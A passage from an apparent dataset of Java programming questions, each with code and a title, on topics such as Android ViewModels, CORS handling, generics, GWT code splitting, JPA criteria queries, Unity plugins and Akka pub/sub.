handle interaction events . * Use the { @ link CheckInRecentList # newInstance } factory method to * create an instance of this fragment . */public class CheckInRecentList extends Fragment { // TODO : Rename parameter arguments , choose names that match // the fragment initialization parameters , e.g . ARG_ITEM_NUMBER private static final String ARG_PARAM1 = `` param1 '' ; private static final String ARG_PARAM2 = `` param2 '' ; private RecyclerView recyclerView ; private RecyclerView.Adapter checkInListAdapter ; //private RecyclerView.LayoutManager layoutManager ; // TODO : Rename and change types of parameters private String mParam1 ; private String mParam2 ; private MainViewModel mViewModel ; private CheckInListAdapter adapter ; private TextView checkInLastDateTime ; private TextView checkInTitle ; private TextView checkInDestinationName ; private TextView checkInComments ; private OnFragmentInteractionListener mListener ; public CheckInRecentList ( ) { // Required empty public constructor } /** * Use this factory method to create a new instance of * this fragment using the provided parameters . * * @ param param1 Parameter 1 . * @ param param2 Parameter 2 . * @ return A new instance of fragment CheckInRecentList . */ // TODO : Rename and change types and number of parameters public static CheckInRecentList newInstance ( String param1 , String param2 ) { CheckInRecentList fragment = new CheckInRecentList ( ) ; Bundle args = new Bundle ( ) ; args.putString ( ARG_PARAM1 , param1 ) ; args.putString ( ARG_PARAM2 , param2 ) ; fragment.setArguments ( args ) ; return fragment ; } @ Override public void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; if ( getArguments ( ) ! = null ) { mParam1 = getArguments ( ) .getString ( ARG_PARAM1 ) ; mParam2 = getArguments ( ) .getString ( ARG_PARAM2 ) ; } // These were originally set up from the recycler view add to the fragment // recyclerView = findViewById ( R.id.check_in_recent_recycler_view ) ; // use this setting to improve performance if you know that changes // in content do not change the layout size of the RecyclerView //recyclerView.setHasFixedSize ( true ) ; /* // use a linear layout manager layoutManager = new LinearLayoutManager ( this ) ; recyclerView.setLayoutManager ( layoutManager ) ; */ // specify an adapter ( see also next example ) //checkInListAdapter = new CheckInListAdapter ( ) ; // recyclerView.setAdapter ( checkInListAdapter ) ; } @ Override public View onCreateView ( LayoutInflater inflater , ViewGroup container , Bundle savedInstanceState ) { // Inflate the layout for this fragment return inflater.inflate ( R.layout.fragment_check_in_recent_list , container , false ) ; } // TODO : Rename method , update argument and hook method into UI event public void onButtonPressed ( Uri uri ) { if ( mListener ! = null ) { mListener.onFragmentInteraction ( uri ) ; } } @ Override public void onAttach ( Context context ) { super.onAttach ( context ) ; if ( context instanceof OnFragmentInteractionListener ) { mListener = ( OnFragmentInteractionListener ) context ; } else { throw new RuntimeException ( context.toString ( ) + `` must implement OnFragmentInteractionListener '' ) ; } } @ Override public void onActivityCreated ( @ Nullable Bundle savedInstanceState ) { super.onActivityCreated ( savedInstanceState ) ; mViewModel = new ViewModelProvider ( this ) .get ( MainViewModel.class ) ; ** checkInLastDateTime = getView ( ) .findViewById ( R.id.checkInLastDateTime ) ; checkInTitle = getView ( ) .findViewById ( R.id.checkInTitle ) ; checkInDestinationName = getView ( ) .findViewById ( R.id.checkInDestinationName ) ; checkInComments = getView ( ) .findViewById ( R.id.checkInComments ) ; listenerSetup ( ) ; observerSetup ( ) ; recyclerSetup ( ) ; } @ Override public void onDetach ( ) { super.onDetach ( ) ; mListener = null ; } /** * This interface must be implemented by activities that contain this * fragment to allow an interaction in this fragment to be communicated * to the activity and potentially other fragments contained in that * activity . * < p > * See the Android Training lesson < a href= * `` http : //developer.android.com/training/basics/fragments/communicating.html '' * > Communicating with Other Fragments < /a > for more information . */ public interface OnFragmentInteractionListener { // TODO : Update argument type and name void onFragmentInteraction ( Uri uri ) ; } private void clearFields ( ) { checkInLastDateTime.setText ( `` '' ) ; checkInDestinationName.setText ( `` '' ) ; checkInTitle.setText ( `` '' ) ; checkInComments.setText ( `` '' ) ; } private void listenerSetup ( ) { Button editCheckInButton = getView ( ) .findViewById ( R.id.checkInEditButton ) ; Button resendCheckInButton = getView ( ) .findViewById ( R.id.checkInResendButton ) ; editCheckInButton.setOnClickListener ( new View.OnClickListener ( ) { @ Override public void onClick ( View view ) { //put in edit check in logic } } ) ; resendCheckInButton.setOnClickListener ( new View.OnClickListener ( ) { @ Override public void onClick ( View view ) { //put in resend logic } } ) ; } private void observerSetup ( ) { mViewModel.getAllCheckIn ( ) .observe ( getViewLifecycleOwner ( ) , new Observer < List < CheckInTable > > ( ) { @ Override public void onChanged ( @ Nullable final List < CheckInTable > checkIn ) { adapter.setCheckInList ( checkIn ) ; } } ) ; mViewModel.getSearchCheckInResults ( ) .observe ( getViewLifecycleOwner ( ) , new Observer < List < CheckInTable > > ( ) { @ Override public void onChanged ( @ Nullable final List < CheckInTable > checkIn ) { if ( checkIn.size ( ) > 0 ) { checkInLastDateTime.setText ( checkIn.get ( 0 ) .getCheckInLastDateTime ( ) ) ; checkInDestinationName.setText ( checkIn.get ( 0 ) .getCheckInDestinationName ( ) ) ; checkInTitle.setText ( checkIn.get ( 0 ) .getCheckInTitle ( ) ) ; checkInComments.setText ( checkIn.get ( 0 ) .getCheckInComments ( ) ) ; } else { checkInLastDateTime.setText ( `` None Found '' ) ; } } } ) ; } private void recyclerSetup ( ) { RecyclerView recyclerView ; adapter = new CheckInListAdapter ( R.layout.recycler_view_item ) ; recyclerView = getView ( ) .findViewById ( R.id.check_in_recent_recycler_view ) ; recyclerView.setLayoutManager ( new LinearLayoutManager ( getContext ( ) ) ) ; recyclerView.setAdapter ( adapter ) ; } } package com.example.checkingin ; import android.app.Application ; import androidx.lifecycle.AndroidViewModel ; import androidx.lifecycle.LiveData ; import androidx.lifecycle.MutableLiveData ; import java.util.List ; public class MainViewModel extends AndroidViewModel { private CheckInRecipientsTableRepository checkInRecipientsTableRepository ; private LiveData < List < CheckInRecipientsTable > > allRecipients ; private MutableLiveData < List < CheckInRecipientsTable > > searchRecipientResults ; private ContactGroupsTableRepository contactGroupsTableRepository ; private LiveData < List < ContactGroupsTable > > allContactGroups ; private MutableLiveData < List < ContactGroupsTable > > searchContactGroupsResults ; private CheckInTableRepository checkInTableRepository ; private LiveData < List < CheckInTable > > allCheckIn ; private MutableLiveData < List < CheckInTable > > searchCheckInResults ; public MainViewModel ( Application application ) { super ( application ) ; checkInRecipientsTableRepository = new CheckInRecipientsTableRepository ( application ) ; allRecipients = checkInRecipientsTableRepository.getAllCheckInRecipients ( ) ; searchRecipientResults = checkInRecipientsTableRepository.getSearchRecipientResults ( ) ; checkInTableRepository = new CheckInTableRepository ( application ) ; allCheckIn = checkInTableRepository.getAllCheckIn ( ) ; searchCheckInResults = checkInTableRepository.getSearchCheckInResults ( ) ; contactGroupsTableRepository = new ContactGroupsTableRepository ( application ) ; allContactGroups = contactGroupsTableRepository.getAllContactGroups ( ) ; searchContactGroupsResults = contactGroupsTableRepository.getSearchContactGroupsResults ( ) ; } MutableLiveData < List < CheckInRecipientsTable > > getSearchRecipientResults ( ) { return getSearchRecipientResults ( ) ; } LiveData < List < CheckInRecipientsTable > > getAllCheckInRecipients ( ) { return getAllCheckInRecipients ( ) ; } public void insertCheckInRecipientsTable ( CheckInRecipientsTable checkInRecipientsTable ) { checkInRecipientsTableRepository.insertCheckInRecipientsTable ( checkInRecipientsTable ) ; } public void deleteCheckInRecipient ( int checkInPrimaryKey ) { checkInRecipientsTableRepository.deleteCheckInRecipient ( checkInPrimaryKey ) ; } public void findCheckInRecipient ( int checkInPrimaryKey ) { checkInRecipientsTableRepository.findCheckInRecipient ( checkInPrimaryKey ) ; } MutableLiveData < List < ContactGroupsTable > > getSearchContactGroupsResults ( ) { return getSearchContactGroupsResults ( ) ; } LiveData < List < ContactGroupsTable > > getAllContactGroups ( ) { return getAllContactGroups ( ) ; } public void insertContactGroupsTable ( ContactGroupsTable contactGroupsTable ) { contactGroupsTableRepository.insertContactGroups ( contactGroupsTable ) ; } public void deleteContactGroups ( int contactGroupsTablePrimaryKey ) { contactGroupsTableRepository.deleteContactGroups ( contactGroupsTablePrimaryKey ) ; } public void findContactGroups ( int contactGroupsTablePrimaryKey ) { contactGroupsTableRepository.findContactGroups ( contactGroupsTablePrimaryKey ) ; } MutableLiveData < List < CheckInTable > > getSearchCheckInResults ( ) { return getSearchCheckInResults ( ) ; } LiveData < List < CheckInTable > > getAllCheckIn ( ) { return getAllCheckIn ( ) ; } public void insertCheckInTable ( CheckInTable checkInTable ) { checkInTableRepository.insertCheckIn ( checkInTable ) ; } public void deleteCheckIn ( int checkInTablePrimaryKey ) { checkInTableRepository.deleteCheckIn ( checkInTablePrimaryKey ) ; } public void findCheckIn ( int checkInTablePrimaryKey ) { checkInTableRepository.findCheckIn ( checkInTablePrimaryKey ) ; } }",What is the proper replacement for ViewModelProviders deprecation ? +Java,"I wrote this trivial method to handle CORS in a simple server proxy of mine.It 's not needed for the real application , it 's only used when testing manually ( with ionic serve ) . I guess , it is safe because of doing nothing except when the origin is localhost , but better safe than sorry.Moreover , findbugs complains about response splitting vulnerability . Should I simply use URLEncoder.html # encode or is there more to it ? Would in general removing spaces or adding no CORS headers in case of contained spaces do ?","private void handleCors ( HttpServletRequest req , HttpServletResponse resp ) { final String origin = req.getHeader ( `` Origin '' ) ; if ( Strings.isNullOrEmpty ( origin ) ) { return ; } if ( ! origin.startsWith ( `` http : //localhost : '' ) ) { return ; } resp.setHeader ( `` Access-Control-Allow-Origin '' , origin ) ; resp.setHeader ( `` Access-Control-Allow-Credentials '' , `` true '' ) ; resp.setHeader ( `` Access-Control-Expose-Headers '' , `` Authorization '' ) ; resp.setHeader ( `` Access-Control-Allow-Headers '' , `` Authorization , Content-Type '' ) ; }",Is this CORS handler safe ? +Java,"Java requires a thread to own the monitor of o before calling o.wait ( ) or o.notify ( ) . This is a well-known fact . However , are mutex locks fundamentally required for any such mechanism to work ? What if there was an API which providedandinstead , combining a CAS action with thread scheduling/descheduling ? This would have some advantages : threads about to enter the waiting state would not impede the progress of notifying threads ; they would also not have to wait on each other before being allowed to check the waiting condition ; on the notifying side any number of producer threads could proceed simultaneously.Is there a fundamental , insurmountable obstacle to providing such an API ?",compareAndWait setAndNotify,Lock-free variant of wait/notify +Java,"What is the difference between the following two methods for creating a file ? Java identifies the first one as a directory , and the second one 's neither a file nor a directory ! Why is that the case ? Code : Output :",new File ( System.getProperty ( `` user.dir '' ) ) ; new File ( `` '' ) ; public class MainClass { public static void main ( String [ ] args ) throws Exception { System.out.println ( `` File Created with CurrentDir taken From System Props '' ) ; File f1 = new File ( System.getProperty ( `` user.dir '' ) ) ; System.out.println ( `` Absolute Path : `` + f1.getAbsolutePath ( ) ) ; System.out.println ( `` isDirectory : `` + f1.isDirectory ( ) ) ; System.out.println ( `` isFile : `` + f1.isFile ( ) ) ; System.out.println ( ) ; System.out.println ( `` File Created with Empty String Path '' ) ; File f2 = new File ( `` '' ) ; System.out.println ( `` Absolute Path : `` + f2.getAbsolutePath ( ) ) ; System.out.println ( `` isdirectory : `` + f2.isDirectory ( ) ) ; System.out.println ( `` isFile : `` + f2.isFile ( ) ) ; } } File Created with CurrentDir taken From System PropsAbsolute Path : D : \Java Workspace\my_Workspace\JavaTestisDirectory : trueisFile : falseFile Created with Empty String PathAbsolute Path : D : \Java Workspace\my_Workspace\JavaTestisdirectory : falseisFile : false,Empty File constructor is neither file nor directory +Java,I have a List of objects that are being updated on a regular basis from a couple of threads . While being updated I want to use a stream to filter some elements out.For example ; say I have list that is being updated regularly : Now at some point in time I use stream on that listIs this thread-safe given that my list is being update from a couple of threads ?,List < MyObject > myList List < MyObject > result = myList.stream ( ) .filter ( myobj- > myobjt.isValid ( ) ) .collect ( toList ( ) ) ;,Collection being updated while performing stream operation java 8 +Java,"This program compiles and runs in C++ but does n't in a number of different languages , like Java and C # .In Java this gives a compiler error like 'Void methods can not return a value ' . But since the method being called is a void itself , it does n't return a value . I understand that a construct like this is probably prohibited for the sake of readability . Are there any other objections ? Edit : For future reference , I found some a similar question here return-void-type-in-c-and-cIn my humble opinion this question is n't answered yet . The reply 'Because it says so in the specification , move on ' does n't cut it , since someone had to write the specification in the first place . Maybe I should have asked 'What are the pros and cons of allowing returning a void type like C++ ' ?",# include < iostream > using namespace std ; void foo2 ( ) { cout < < `` foo 2.\n '' ; } void foo ( ) { return foo2 ( ) ; } int main ( ) { foo ( ) ; return 0 ; },"Why can a void method in C++ return a void value , but in other languages it can not ?" +Java,"We have a very large GWT project that results in a monolithic app about 2Mb in size . The obvious way to break it up is to use split points . For example our app is menu driven so the logic behind each menu action could be a split point . Also , the code that invokes GWT RPC could also be a split point . In this way a 2Mb app could probably be broken down into a 300K startup app with the remainder loaded up on first use.GWT treats calls to GWT.runAsync ( ) as places where the JS can be broken up into smaller pieces which are loaded asynchronously at runtime . e.g . to set a split point where doSomething ( ) is invoked , we write it like this : GWT compiler will see this code and mark it as a candidate for splitting and break up the code into smaller fragments which will be loaded as they are first used.The problem we have is that if we put split points into the code , the build literally takes 10-50x longer to perform . I guess the code is not very efficient when dealing with a project containing a very large number of classes . So a 2 minute build becomes a 20-100 minute build which is unacceptable.So the question is , how can I put split points into the code but prevent the compiler from splitting unless I explicitly ask for it ? I envisage that day to day development will ignore the split points , but a nightly or production build would split.Any ideas ?",GWT.runAsync ( new RunAsyncCallback ( ) { public void onFailure ( Throwable caught ) { Window.alert ( `` Oh dear could not load app '' ) ; } public void onSuccess ( ) { doSomething ( ) ; } } ) ;,How do I disable code splitting in GWT ? +Java,"I wish to generate a regular expression from a string containing numbers , and then use this as a Pattern to search for similar strings . Example : If I substitute all digits by \dI can use this to match similar strings ( e.g . `` Page 7 of 47 '' ) . My problem is that if I do this naively some of the metacharacters such as ( ) { } - , etc . will not be escaped . Is there a library to do this or an exhaustive set of characters for regular expressions which I must and must not escape ? ( I can try to extract them from the Javadocs but am worried about missing something ) .Alternatively is there a library which already does this ( I do n't at this stage want to use a full Natural Language Processing solution ) .NOTE : @ dasblinkenlight 's edited answer now works for me !",String s = `` Page 3 of 23 '' StringBuilder sb = new StringBuilder ( ) ; for ( int i = 0 ; i < s.length ( ) ; i++ ) { char c = s.charAt ( i ) ; if ( Character.isDigit ( c ) ) { sb.append ( `` \\d '' ) ; // backslash d } else { sb.append ( c ) ; } } Pattern numberPattern = Pattern.compile ( sb.toString ( ) ) ; // Pattern numberPattern = Pattern.compile ( `` Page \d of \d\d '' ) ;,generating a regular expression from a string +Java,"I thought that i have some good understanding of Java generics.This code DOES NOT COMPILE and I know why . We can pass to test method only List of type Animal or its super type ( like List of Objects ) But here comes the strange part ( at least for me ) .If we declare class Test as generic by only adding < T > , then it COMPILES ! and throws java.lang.ClassCastException : ,My question is why adding generic class type < T > ( which is not used anywhere ) caused class to compile and changed wildcard behaviour ?",package scjp.examples.generics.wildcards ; import java.util.ArrayList ; import java.util.List ; class Animal { } class Mammal extends Animal { } class Dog extends Mammal { } public class Test { public void test ( List < ? super Animal > col ) { col.add ( new Animal ( ) ) ; col.add ( new Mammal ( ) ) ; col.add ( new Dog ( ) ) ; } public static void main ( String [ ] args ) { List < Animal > animalList = new ArrayList < Animal > ( ) ; List < Mammal > mammalList = new ArrayList < Mammal > ( ) ; List < Dog > dogList = new ArrayList < Dog > ( ) ; new Test ( ) .test ( animalList ) ; new Test ( ) .test ( mammalList ) ; // Error : The method test ( List < ? super Animal > ) in the type Test is not applicable for the arguments ( List < Mammal > ) new Test ( ) .test ( dogList ) ; // Error : The method test ( List < ? super Animal > ) in the type Test is not applicable for the arguments ( List < Dog > ) Dog dog = dogList.get ( 0 ) ; } } public class Test < T > { ... } Exception in thread `` main '' java.lang.ClassCastException : scjp.examples.generics.wildcards.Animal can not be cast to scjp.examples.generics.wildcards.Dog,Java wildcard strange behaviour when class is generic +Java,"Assuming the following entity classes and hierarchy : How can I query for all tickets which have customer of type Person or any subclass of Person ( i.e . CustomPerson ) ? I can easily create a predicate on type : but this will filter out CustomPerson.Unless there is a generic way to handle this ( in JPA 2.0 ) , I could overcome the issue if I could determine at runtime all entities extending Person ; in this scenario I could use","@ EntityClass Ticket { @ ManyToOne ( optional = true ) private Customer customer ; } @ EntityClass Customer { } @ EntityClass Person extends Customer { } @ Class CustomPerson extends Person { } Predicate p = criteriaBuilder.equal ( Ticket_ ... type ( ) , criteriaBuilder.literal ( Person.class ) ) ; Predicate p = criteriaBuilder.in ( Ticket_ ... type ( ) , listOfPersonSubclasses ) ;",JPA 2.0 CriteriaQuery with predicate on type being a class or any subclass of +Java,"I 'm trying to understand how to build my own Android plugins for Android.I achieve to call static methods on my Java class ( the one created on AndroidStudio ) , but I really CA N'T call non-static methods . I check those links : https : //answers.unity.com/questions/884503/cant-call-non-static-method-in-androidjavaclass.htmlhttp : //leoncvlt.com/blog/a-primer-on-android-plugin-development-in-unity/https : //answers.unity.com/questions/1327186/how-to-get-intent-data-for-unity-to-use.htmlhow to call Non-static method from Unity Android Plugin ? But none works.I 'm trying to get the call from a button from Unity like : And my activity on Android looks like : My ADB is throwing this message : I 've also tried calling instead of UnityPlayer call it like : EDIT : This is my AndroidManifest.xmlBut does n't work either for non-static methods , it works only for static methods if I do pluginClass.CallStatic ( `` '' ) , any idea ? EDIT 2 : Taras Leskiv suggest to change UnityPlayer.Get toUnityPlayer.GetStatic , but then i get the follow error : error : java.lang.NoSuchMethodError : no non-static method with name='SayHi ' signature= ' ( ) V ' in class Ljava.lang.Object ; Proguard is not active .","AndroidJavaClass UnityPlayer = new AndroidJavaClass ( `` com.unity3d.player.UnityPlayer '' ) ; AndroidJavaObject currentActivity = UnityPlayer.Get < AndroidJavaObject > ( `` currentActivity '' ) ; currentActivity.Call ( `` SayHi '' ) ; public class MainActivity extends UnityPlayerActivity { private static final String TAG = `` LibraryTest '' ; @ Override protected void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; Log.d ( TAG , `` Created ! `` ) ; } public void SayHi ( ) { Log.d ( TAG , `` HI_ '' ) ; } } AndroidJavaClass pluginClass = new AndroidJavaClass ( `` com.example.eric.librarytest.MainActivity '' ) ; < ? xml version= '' 1.0 '' encoding= '' utf-8 '' ? > < manifest xmlns : android= '' http : //schemas.android.com/apk/res/android '' package= '' com.example.eric.librarytest '' android : versionCode= '' 1 '' android : versionName= '' 1.0 '' > < uses-sdk android : minSdkVersion= '' 24 '' android : targetSdkVersion= '' 28 '' / > < application android : label= '' @ string/app_name '' > < activity android : name= '' com.example.eric.librarytest.MainActivity '' android : configChanges= '' fontScale|keyboard|keyboardHidden|locale|mnc|mcc|navigation|orientation|screenLayout|screenSize|smallestScreenSize|uiMode|touchscreen '' android : label= '' @ string/app_name '' > < intent-filter > < action android : name= '' android.intent.action.MAIN '' / > < category android : name= '' android.intent.category.LAUNCHER '' / > < /intent-filter > < /activity > < /application > < /manifest >",Call non-static methods on custom Unity Android Plugins +Java,"I have enum say ErrorCodes thatnow I check my exception error codes with this error codes . I do n't want to write if this do this , if this do this . How I can solve this problem ( writing 10+ if blocks ) Is there any design patter to that situation ? Thanks","public enum ErrorCodes { INVALID_LOGIN ( 100 ) , INVALID_PASSWORD ( 101 ) , SESSION_EXPIRED ( 102 ) ... ; private int errorCode ; private ErrorCodes ( int error ) { this.errorCode = error ; } //setter and getter and other codes }",`` if '' statement vs OO Design +Java,"I have an ontology created in Protege 4.3.0 and stored in an OWL file . In order to load this ontology using the OWL API , I use the following code sample.However , if I try to load an ontology that includes one or more imports , if these imports are not available , an UnloadableImportException is thrown , as the following example : org.semanticweb.owlapi.model.UnloadableImportException : Could not load imported ontology : http : //www.w3.org/2004/02/skos/core Cause : connection timed outHow to solve this problem ? If the imported ontology is available offline , how to import this ontology during the loading of my ontology ?",public class MySampleClass { private final OWLOntologyManager manager = OWLManager.createOWLOntologyManager ( ) ; private final OWLDataFactory df = manager.getOWLDataFactory ( ) ; private final OWLReasonerFactory rf = new StructuralReasonerFactory ( ) ; private final OWLOntology ontology ; private final OWLOntologyID id ; private final IRI iri ; private final PrefixManager pm ; private final OWLReasoner reasoner ; /** * * @ param file */ public MySampleClass ( File file ) { try { ontology = manager.loadOntologyFromOntologyDocument ( file ) ; } catch ( OWLOntologyInputSourceException | OWLOntologyCreationException ex ) { // throw custom exception } id = ontology.getOntologyID ( ) ; iri = id.getOntologyIRI ( ) ; pm = new DefaultPrefixManager ( iri.toString ( ) .concat ( `` # '' ) ) ; reasoner = rf.createReasoner ( ontology ) ; reasoner.precomputeInferences ( InferenceType.OBJECT_PROPERTY_ASSERTIONS ) ; } },UnloadableImportException : Could not load imported ontology +Java,"I 'm encountering a bizarre issue on a JBoss server where two classes are producing the same hashCode ( ) .Produces : I normally would n't care , but we 're using a framework that caches setters using a key that is comprised of hashcodes from the class and a property name . It 's a bad design for caching , but it 's beyond my control at the moment ( OGNL 3.0.6 in the latest Struts 2.3.24 , see source . A newer OGNL fixes the issue , but it wo n't be in Struts until 2.5 , currently in beta . ) What makes the issue somewhat bizarre to me isProblem appears after several days of usage ... and I 'm pretty sure both class/properties are getting cached during that time . This leads me to believe that the class instance hashcode is actually changing ... they became equal after several days.We 've observed the behavior in a very outdated Hotspot 1.6 , and now on 1.7.0_80 . Both are 32-bit builds on Sun SparcJVM reports -XX : hashCode as `` 0 '' I read that the RNG hashcode generator in Hotspot ( the `` 0 '' strategy ) can produce duplicates if there 's racing threads , but I ca n't imagine classloading triggering that behavior.Does Hotspot use special hashcode handling when creating a Class instance ?",Class < ? > cl1 = Class.forName ( `` fqn.Class1 '' ) ; Class < ? > cl2 = Class.forName ( `` fqn.Class2 '' ) ; out.println ( cl1.getCanonicalName ( ) ) ; out.println ( cl2.getCanonicalName ( ) ) ; out.println ( cl1.hashCode ( ) ) ; out.println ( cl2.hashCode ( ) ) ; out.println ( System.identityHashCode ( cl1 ) ) ; out.println ( System.identityHashCode ( cl2 ) ) ; out.println ( cl1 == cl2 ) ; out.println ( cl1.equals ( cl2 ) ) ; out.println ( cl1.getClassLoader ( ) .equals ( cl2.getClassLoader ( ) ) ) ; fnq.Class1fnq.Class2494722494722494722494722falsefalsetrue,Two different Class instances giving same hashCode +Java,"I 'm using Android Studio . I have n't been able to find an answer online , so even a link to a solution would be helpful.I have an Activity , which includes a number of Fragments . One of these Fragments is called BookGridFragment , which uses a class called BookGrid.BookGridFragment looks like this ( I 've left out irrelevant bits ) : The BookGrid class is : So , that all works fine . The issue is , that I need the BookGridFragment to know when the user touches the BookGrid and to pass that information to another Fragment ( via the Activity ) . So , I assume that when the onTouchEvent is reached , that should somehow notify the BookGridFragment that the BookGrid was touched , but I ca n't figure out how to do that.Everything I 've found online is about passing information between Fragments , but that approach does n't work here as the BookGrid class does n't `` know '' that it 's within a BookGridFragment .","public class BookGridFragment extends Fragment { BookGrid myBookGrid ; public BookGridFragment ( ) { } @ Override public View onCreateView ( LayoutInflater inflater , ViewGroup container , Bundle savedInstanceState ) { super.onCreateView ( inflater , container , savedInstanceState ) ; // Inflate layout View rootView = inflater.inflate ( R.layout.fragment_book_grid , container , false ) ; myBookGrid = rootView.findViewById ( book_grid ) ; return rootView ; } public void setBook ( Book thisBook ) { myBookGrid.setBook ( thisBook ) ; } } public class BookGrid extends View { private Book mBook ; public BookGrid ( Context thisContext , AttributeSet attrs ) { super ( thisContext , attrs ) ; } public void setBook ( Book newBook ) { mBook = newBook ; } protected void onDraw ( Canvas canvas ) { if ( mBook == null ) return ; canvas.save ( ) ; draw_book_details ( ) ; // draw_book_details ( ) is a function which just takes // the book info and displays it in a grid canvas.restore ( ) ; } public boolean onTouchEvent ( MotionEvent event ) { // This function responds to the user tapping a piece of // book info within the grid // THIS IS WHERE I 'M HAVING PROBLEMS } }",How do I communicate between a class and a fragment which uses it ? +Java,"This is another of those SCJP questions . The code below prints Alpha : fooBeta : fooBeta : barBeta : bar , and I do n't understand why the first foo call picked Alpha 's foo instead of Beta 's . If the Alpha.foo parameter is changed to String instead of String ... , then the output is Beta : fooBeta : fooBeta : barBeta : barwhich makes sense.My understanding is that when you say Alpha a = new Beta ( ) ; , the compiler checks for Alpha.foo , but the JVM will actually run Beta.foo . For one thing , Beta does have a foo method whose signature matches the call . For another , I thought varargs methods only run when there 's no other method available that matches the call . So that 's two reasons I think Alpha.foo should n't be run . What part of this understanding is wrong ? Thanks ! Edit : I think I know where I misunderstood things now . I thought that in a SuperClass sc = new SubClass ( ) ; situation , whatever method is called on sc will be searched for in SubClass at runtime , although they 'll be searched in SuperClass at compile-time . It turns out , as I now think I understand , that whatever method is called on sc will be searched for in SuperClass at both compile-time and run-time , UNLESS SubClass has provided a `` better '' version of the method . Then , even at compile-time , the compiler will know the method to invoke is the SubClass version .","class Alpha { public void foo ( String ... args ) { //if this were String args , then it makes sense System.out.print ( `` Alpha : foo '' ) ; } public void bar ( String a ) { System.out.print ( `` Alpha : bar '' ) ; } } public class Beta extends Alpha { public void foo ( String a ) { System.out.print ( `` Beta : foo '' ) ; } public void bar ( String a ) { System.out.print ( `` Beta : bar '' ) ; } public static void main ( String [ ] arg ) { Alpha a = new Beta ( ) ; Beta b = ( Beta ) a ; a.foo ( `` test '' ) ; //confusing line b.foo ( `` test '' ) ; a.bar ( `` test '' ) ; b.bar ( `` test '' ) ; } }",How was one method chosen over another in this code ? +Java,"For my project I need to download a zip file from an FTP server , which releases a new zip about 13 times a year . I need to download the latest file following the server 's naming convention : Prefix + release number ( one or two digits ) + year ( two digits ) + suffix + `` .zip '' for instance : ALFP1016F.zipThe prefix will always be the same ( ALFP ) and the suffix either F or P ( stands for `` full '' or `` partial '' ; I need only the files ending with suffix F ) . On top of that , there are several other files in the directory I need to ignore because they have different prefixes . Then , I need to get the most recent file in the array following this priority order : Most recent year . Of course '99 should not be seen as the most recent year.Most recent release numberFor instance , if I have this listing of filenames ( full server directory ) : My expected output would be ALFP716F.zip because 16 is the most recent year , and 7 the most recent release number from that year.Here 's what I 've done so far : I have done a miserable attempt at writing the returnMostRecent ( String [ ] ) method , but ended up with an unintelligible mess not worth being posted here.How can I sort this array and effectively return the most recent file following my priority order ?","1stpage712.pdf1stpage914.pdfALFP1015F.zipALFP1015P.zipALFP716F.zipALFP716P.zipFSFP816F.zipFSFP816P.zip //necessary importsimport org.apache.commons.net.ftp.FTP ; import org.apache.commons.net.ftp.FTPClient ; import org.apache.commons.net.ftp.FTPFile ; //initialize FTP clientftpClient = new FTPClient ( ) ; try { //connect to server ftpClient.connect ( server , port ) ; ftpClient.login ( username , password ) ; ftpClient.enterLocalPassiveMode ( ) ; ftpClient.setFileType ( FTP.BINARY_FILE_TYPE ) ; //list all names from server String [ ] filenames = ftpClient.listNames ( ) ; //return expected file name String expectedFileName = returnMostRecent ( filenames ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; } finally { try { if ( ftpClient.isConnected ( ) ) { ftpClient.logout ( ) ; ftpClient.disconnect ( ) ; System.out.println ( `` Disconnected from server '' ) ; } } catch ( IOException ex ) { ex.printStackTrace ( ) ; } }",Sorting an array of filenames containing strings with numbers +Java,I am using Akka Distributed Pub/Sub and have a single publisher and a subscriber . My publisher is way faster than the subscriber . Is there a way to slow down the publisher after a certain point ? Publisher code : Subscriber code :,"public class Publisher extends AbstractActor { private ActorRef mediator ; static public Props props ( ) { return Props.create ( Publisher.class , ( ) - > new Publisher ( ) ) ; } public Publisher ( ) { this.mediator = DistributedPubSub.get ( getContext ( ) .system ( ) ) .mediator ( ) ; this.self ( ) .tell ( 0 , ActorRef.noSender ( ) ) ; } @ Override public Receive createReceive ( ) { return receiveBuilder ( ) .match ( Integer.class , msg - > { // Sending message to Subscriber mediator.tell ( new DistributedPubSubMediator.Send ( `` /user/ '' + Subscriber.class.getName ( ) , msg.toString ( ) , false ) , getSelf ( ) ) ; getSelf ( ) .tell ( ++msg , ActorRef.noSender ( ) ) ; } ) .build ( ) ; } } public class Subscriber extends AbstractActor { static public Props props ( ) { return Props.create ( Subscriber.class , ( ) - > new Subscriber ( ) ) ; } public Subscriber ( ) { ActorRef mediator = DistributedPubSub.get ( getContext ( ) .system ( ) ) .mediator ( ) ; mediator.tell ( new DistributedPubSubMediator.Put ( getSelf ( ) ) , getSelf ( ) ) ; } @ Override public Receive createReceive ( ) { return receiveBuilder ( ) .match ( String.class , msg - > { System.out.println ( `` Subscriber message received : `` + msg ) ; Thread.sleep ( 10000 ) ; } ) .build ( ) ; } }",Akka Distributed Pub/Sub back-pressure +Java,"The following snippet prints 4 distinct hash codes , despite reusing a string constant and literal . Why are string values not interned on annotation elements ?",public class Foo { @ Retention ( RetentionPolicy.RUNTIME ) @ interface Bar { String CONSTANT = `` foo '' ; String value ( ) default CONSTANT ; } public static void main ( String [ ] args ) throws Exception { System.out.println ( System.identityHashCode ( Bar.CONSTANT ) ) ; System.out.println ( System.identityHashCode ( Foo.class.getMethod ( `` test1 '' ) .getAnnotation ( Bar.class ) .value ( ) ) ) ; System.out.println ( System.identityHashCode ( Foo.class.getMethod ( `` test2 '' ) .getAnnotation ( Bar.class ) .value ( ) ) ) ; System.out.println ( System.identityHashCode ( Foo.class.getMethod ( `` test3 '' ) .getAnnotation ( Bar.class ) .value ( ) ) ) ; } @ Bar public void test1 ( ) { } @ Bar ( `` foo '' ) public void test2 ( ) { } @ Bar ( Bar.CONSTANT ) public void test3 ( ) { } },Why are annotation string values not interned ? +Java,"I have an assignment which requires me to implement a generic priority queue from scratch , however I 'm getting an error that I do n't think makes any sense .",public class PriorityQueue < E > { private ArrayList < E > items = new ArrayList < E > ( 0 ) ; ... public < E extends Comparable < E > > void insert ( E newItem ) { if ( numOfItems == 0 ) { items.add ( newItem ) ; //ERROR : The method add ( E ) in the type ArrayList < E > is not applicable for the arguments ( E ) rear++ ; numOfItems++ ; } else { //INCOMPLETE } } },How do I add generic items to a generic ArrayList ? +Java,In my snippet code ! `` checkBoxList '' has no of files that are chosen by a file chooser and stored in itcheck box `` tmp '' it has checkboxes for the files ! When i display the files [ checkboxlist ] in my panel.It comes as 